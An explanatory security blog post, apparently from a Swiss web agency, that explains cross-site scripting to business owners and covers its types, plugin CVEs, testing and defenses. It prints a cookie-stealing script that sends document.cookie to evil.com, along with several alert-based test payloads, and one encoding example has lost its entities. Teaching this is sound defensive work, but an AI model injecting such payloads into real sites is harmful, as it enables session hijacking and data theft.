What Is XSS, Without the Jargon
Cross-Site Scripting, universally abbreviated as XSS, is a type of attack where someone injects malicious JavaScript code into a website so that it runs in other people's browsers. When a visitor loads the affected page, their browser executes the attacker's code as if it were a legitimate part of the site.
Think of it this way: your website is a document that your visitors' browsers read and display. If an attacker can slip their own instructions into that document, every visitor's browser will follow those instructions. The browser has no way to distinguish between your legitimate code and the attacker's injected code. It runs everything.
XSS has been on the OWASP Top 10 list of web application security risks for over twenty years. Despite being well-understood and well-documented, it remains one of the most common vulnerabilities found in websites and web applications worldwide. The reason is straightforward: preventing XSS requires discipline at every single point where data enters and leaves your application, and most developers do not maintain that discipline consistently.
How XSS Works: A Step-by-Step Example
Let me walk through a concrete example that shows how an XSS attack works in practice.
The Setup
Imagine your company website has a search function. A user types "office chairs" into the search box, and the page displays: "You searched for: office chairs" along with the results. The search term is reflected back onto the page.
Now, under the hood, the page is doing something like this in its HTML:
<p>You searched for: office chairs</p>
The search term from the URL or form input is inserted directly into the HTML. If the developer did not sanitize or encode this input, an attacker can craft a special search query:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
When a victim clicks a link containing this crafted search query, the page renders:
<p>You searched for: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script></p>
What Happens Next
The victim's browser sees a <script> tag and executes it. The JavaScript code sends the victim's session cookies to the attacker's server. With those cookies, the attacker can impersonate the victim, log in as them, and do anything they could do on the website.
The victim sees nothing unusual. Maybe the page flickers for a moment. Maybe it redirects briefly and comes back. Most people would never notice.
Three Types of XSS
XSS comes in three flavors, each with different characteristics and implications:
1. Reflected XSS
This is the type described in the example above. The malicious script is part of the request (usually in a URL parameter) and is reflected back in the response. The attack requires the victim to click a specially crafted link.
How it is typically exploited: The attacker sends a phishing email or posts a link on social media that points to the vulnerable page with the malicious payload in the URL. When the victim clicks, the script executes in their browser.
Persistence: None. The attack only works when the victim clicks the specific link.
Severity: Medium to high, depending on what data can be accessed.
2. Stored XSS
This is the more dangerous variant. The malicious script is saved in the website's database and displayed to every visitor who views the affected page. Common injection points include comment fields, forum posts, user profiles, product reviews, and any input that is stored and later displayed to other users.
How it is typically exploited: The attacker submits the malicious script through a form or input field. The server stores it in the database. When any visitor loads the page, the stored script is included in the HTML and executes automatically.
Persistence: Permanent until the malicious content is removed from the database.
Severity: High to critical. Every visitor is affected, not just those who click a specific link.
3. DOM-Based XSS
This type occurs entirely in the browser, without the malicious payload being sent to the server at all. The vulnerability exists in client-side JavaScript code that processes URL fragments, local storage, or other browser-side data sources unsafely.
How it is typically exploited: The attacker crafts a URL with a malicious payload in the fragment identifier (the part after the # in a URL). The page's JavaScript reads this value and inserts it into the page without proper encoding.
Persistence: None. Requires the victim to access the crafted URL.
Severity: Medium to high. Harder to detect because the payload may never appear in server logs.
What Attackers Can Do with XSS
Once an attacker can execute JavaScript in a victim's browser while they are on your website, the range of possible attacks is broad:
Session Hijacking (Cookie Theft)
The attacker steals the victim's session cookie and uses it to impersonate them. If the victim is logged in as an administrator, the attacker now has admin access to your website. This is probably the most common XSS exploitation technique.
Credential Harvesting
The attacker's script modifies the login page to send credentials to an external server when the user logs in. The user sees the normal login form, types their username and password, and the data goes to both your server and the attacker's. The user experiences a normal login; they have no idea their credentials were stolen.
Keylogging
The injected script registers an event listener on the page that captures every keystroke the user makes. Everything they type, including passwords, credit card numbers, personal messages, and search queries, is sent to the attacker. This works on any page where the malicious script is active.
Page Defacement and Content Manipulation
The script can modify the visible content of the page. It can change prices, alter product descriptions, insert fake news or announcements, or replace legitimate content with the attacker's message. For a business, this can be devastating to credibility.
Redirect to Malicious Sites
The script silently redirects the visitor to a phishing site, a malware distribution page, or a competitor's website. The redirect can be designed to look like a legitimate page transition, making it hard for the visitor to notice.
Cryptocurrency Mining
The script uses the visitor's browser to mine cryptocurrency in the background. This steals computational resources, drains battery on mobile devices, and slows down the browsing experience. The website owner may never notice, but visitors will.
Worm Propagation
In stored XSS scenarios, the script can be designed to replicate itself. For example, on a social media platform, an XSS worm could post itself to every friend's profile automatically, spreading exponentially. The Samy MySpace worm of 2005 infected over one million profiles in under 24 hours through this exact technique.
Real Examples of XSS in Popular CMS Plugins
XSS is not a theoretical concern. It is found regularly in the plugins and themes that run on real business websites:
WordPress Plugin XSS Examples
- CVE-2024-4345 (Starter Templates by Brainstorm Force): Stored XSS affecting over 1 million installations. An attacker with contributor-level access could inject JavaScript that would execute whenever anyone viewed the affected page, including administrators.
- CVE-2024-1071 (Ultimate Member Plugin): Stored XSS in user profile fields. An attacker could create an account with malicious JavaScript in their profile name or bio. When an administrator viewed the user list, the script would execute in the admin context.
- CVE-2023-6961 (WP Meta SEO): Reflected XSS in the plugin settings page. An attacker could craft a link that, when clicked by an admin, would execute arbitrary JavaScript in the WordPress admin panel.
- Contact Form 7 (various CVEs over the years): Multiple XSS vulnerabilities have been found in one of the most popular WordPress plugins, with over 5 million active installations. Reflected XSS in form submission confirmations, stored XSS in form field labels.
Joomla Extension XSS Examples
- Multiple Joomla core XSS vulnerabilities have been disclosed over the years, including stored XSS in article content, user profile fields, and module parameters. The Joomla Security Strike Team tracks these through security advisories.
E-Commerce Plugin XSS
- WooCommerce, the most popular WordPress e-commerce plugin, has had multiple XSS vulnerabilities in product review fields, checkout forms, and order management interfaces. An XSS in a checkout flow can lead directly to credit card data theft.
The pattern is consistent: wherever user input is displayed without proper encoding, XSS is possible. And in the CMS plugin ecosystem, proper encoding is frequently neglected.
How to Test for XSS (Safely)
If you want to check whether your website is vulnerable to XSS, here are some approaches that will not damage your site:
Basic Manual Testing
Try entering this string into any input field on your website (search boxes, comment forms, contact forms, login fields):
<script>alert('XSS')</script>
If a popup box appears with the text "XSS," that input is vulnerable to XSS. If the text is displayed as literal characters on the page (you see the actual text <script>alert('XSS')</script>), the input is being properly encoded.
Also try these variations, as some filters only catch the basic <script> tag:
<img src=x onerror=alert('XSS')><svg onload=alert('XSS')>" onfocus="alert('XSS')" autofocus="
Test every input field, including URL parameters. If your site has a URL like example.com/search?q=test, try replacing "test" with the XSS test strings.
Free Automated Tools
- OWASP ZAP (Zed Attack Proxy): A free, open-source security scanning tool that can detect XSS and many other vulnerabilities. It is the standard recommendation for basic web application security testing.
- Nikto: An open-source web server scanner that checks for various security issues including some XSS patterns.
- Browser Developer Tools: The browser console and network tab can help you see how input is reflected in the page source. Right-click, "View Page Source," and search for your test input to see if it is encoded or raw.
Professional Penetration Testing
For a thorough assessment, consider a professional penetration test. Automated tools catch many XSS variants but miss context-specific vulnerabilities, especially DOM-based XSS and XSS in complex JavaScript applications. A skilled penetration tester will find things that scanners miss.
Prevention: How to Stop XSS
There are four main defenses against XSS, and they work best in combination:
1. Output Encoding
This is the primary defense. Every time user-supplied data is inserted into an HTML page, it must be encoded so that the browser treats it as text, not as code. The characters <, >, &, ", and ' must be converted to their HTML entity equivalents.
For example, <script> becomes <script> which the browser displays as literal text rather than executing as code.
The encoding must be context-appropriate: HTML encoding for HTML contexts, JavaScript encoding for JavaScript contexts, URL encoding for URL contexts. Using the wrong encoding for the context can leave gaps.
Most modern web frameworks provide automatic output encoding by default (React, Angular, Vue.js, Twig, Blade). The danger is when developers bypass it, often using raw HTML insertion methods like dangerouslySetInnerHTML in React or v-html in Vue.
2. Input Validation
Validate all input on the server side. If a field should contain an email address, verify it matches the email format and reject anything else. If a field should contain a number, verify it is a number. This reduces the attack surface by rejecting obviously malicious input before it reaches the output stage.
Input validation alone is not sufficient. There are legitimate reasons to include characters like < and > in user input (discussing HTML, mathematical expressions, etc.). The goal is to validate where possible and always encode on output.
3. Content Security Policy (CSP)
Content Security Policy is an HTTP header that tells the browser which sources of JavaScript (and other resources) are trusted. A well-configured CSP can prevent XSS from executing even if it is successfully injected.
A strict CSP might look like this:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self';
This tells the browser: only execute JavaScript that comes from our own domain. Inline scripts (which is how most XSS payloads are delivered) would be blocked. For more on security headers, see our article on HTTP security headers for websites.
CSP is a defense-in-depth measure. It does not fix the underlying vulnerability, but it significantly limits what an attacker can do even if they find an injection point.
4. HttpOnly and Secure Cookie Flags
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them. This means that even if an XSS attack is successful, the attacker cannot steal session cookies through document.cookie. The Secure flag ensures cookies are only sent over HTTPS.
These flags do not prevent XSS, but they limit the damage. Session hijacking (the most common XSS goal) becomes much harder when cookies are HttpOnly.
Why Most Web Developers in Ticino Don't Test for XSS
I am going to be direct about this. The majority of web development agencies in Ticino, and across Switzerland, do not test their work for XSS vulnerabilities. The reasons are a combination of economics, training, and priorities:
Security Is Not Part of the Training
Most web developers learn to make things work, not to make things secure. Bootcamps, online courses, and even university programs focus on functionality: how to build a feature, how to connect to a database, how to create a responsive layout. Security is treated as an advanced topic, if it is covered at all.
The result is that many developers genuinely do not know what XSS is, how to test for it, or how to prevent it. They are not negligent; they were never taught. The first time they hear about XSS might be when their client's site gets compromised.
Security Testing Takes Time and Does Not Show
From the client's perspective, a website that has been security-tested looks identical to one that has not. There is no visible difference. But the security-tested site took more hours to build, which means a higher price. In a competitive market where agencies compete on price, the agency that skips security testing can quote lower and win the project.
CMS Plugins Are Assumed to Be Safe
When a developer installs a WordPress plugin or a Joomla extension, they assume the plugin developer has handled security. This assumption is wrong far more often than it should be. Many plugin developers have the same training gaps as the agencies installing them.
No One Asks for It
Business owners rarely ask "have you tested for XSS?" during a website project. They ask about design, timeline, and price. If security is not in the requirements, it does not get done.
The Business Impact of XSS Vulnerabilities
For business owners, the question is not whether XSS is technically interesting but whether it matters to your bottom line. Here is how it translates to business risk:
Data Theft
If your website handles personal data (contact forms, login accounts, e-commerce transactions), XSS can be used to steal that data. Under the Swiss nDSG and EU GDPR, you are responsible for protecting personal data with adequate technical measures. An exploited XSS vulnerability that leads to data theft triggers notification obligations and potential fines.
Legal Liability
If a customer's data is stolen through your website due to a known vulnerability class that you did not test for, your legal exposure is significant. "We did not know" is increasingly difficult to argue when XSS has been a documented risk for over twenty years and free testing tools are available.
Customer Trust
When customers discover that your website was used to steal their credentials or redirect them to phishing sites, the trust damage is severe and long-lasting. B2B clients will question your overall operational competence. B2C customers will take their business elsewhere.
SEO and Reputation
Google actively flags websites that serve malicious content. An XSS attack that redirects visitors or distributes malware will trigger Google Safe Browsing warnings, cratering your search visibility. Recovering from a Safe Browsing flag can take weeks to months.
Regulatory Consequences
For businesses in regulated industries (finance, healthcare, legal), an XSS-related data breach can trigger regulatory investigations, mandatory audits, and operational restrictions beyond the standard data protection penalties.
Checking Your Own Website
Here is a quick, non-technical way to get a sense of your XSS risk:
- Does your site have any input fields? Search boxes, contact forms, comment sections, login pages, anything where a visitor can type something. Each one is a potential XSS vector.
- Does your site display user-submitted content? Reviews, comments, forum posts, user profiles. Each is a potential stored XSS location.
- Does your site use URL parameters? Pages like
example.com/search?q=somethingorexample.com/page?id=123. Each parameter could be reflected unsafely. - Has your site ever been professionally security tested? If the answer is no, you should assume vulnerabilities exist until proven otherwise.
- Does your site send the Content-Security-Policy header? You can check at
securityheaders.com. If CSP is missing, you have no browser-level XSS mitigation.
If you answered "yes" to questions 1-3 and "no" to questions 4-5, your website is likely vulnerable to XSS. You should get a professional assessment.
What to Do Next
If you are a business owner concerned about XSS:
- Ask your developer or agency: "What measures have you taken to prevent XSS on our website? Can you show me the test results?" If they cannot answer clearly, that tells you something.
- Check your security headers: Visit securityheaders.com and enter your domain. Look for the Content-Security-Policy header. If it is missing, your site lacks a basic XSS defense layer.
- Get a security assessment: A professional web application security assessment will identify XSS vulnerabilities along with other issues. This is not an audit you can skip and assume everything is fine.
- Implement CSP: Even if you cannot immediately fix every XSS vulnerability, implementing a Content Security Policy provides a safety net that limits exploitation.
- Review your cookie settings: Make sure session cookies have the HttpOnly and Secure flags set. This is a simple change that significantly limits XSS damage.
XSS is one of those vulnerabilities that seems abstract until it happens to you. But the exploitation is real, the damage is measurable, and the prevention is well-established. There is no reason for a business website in 2025 to be vulnerable to XSS attacks.
If you need help assessing your website's XSS exposure or implementing protections, contact us. We help Swiss businesses identify and fix web application vulnerabilities before attackers find them.
Want to know if your site is secure?
Request a free security audit. In 48 hours you get a complete report.
Request Free Audit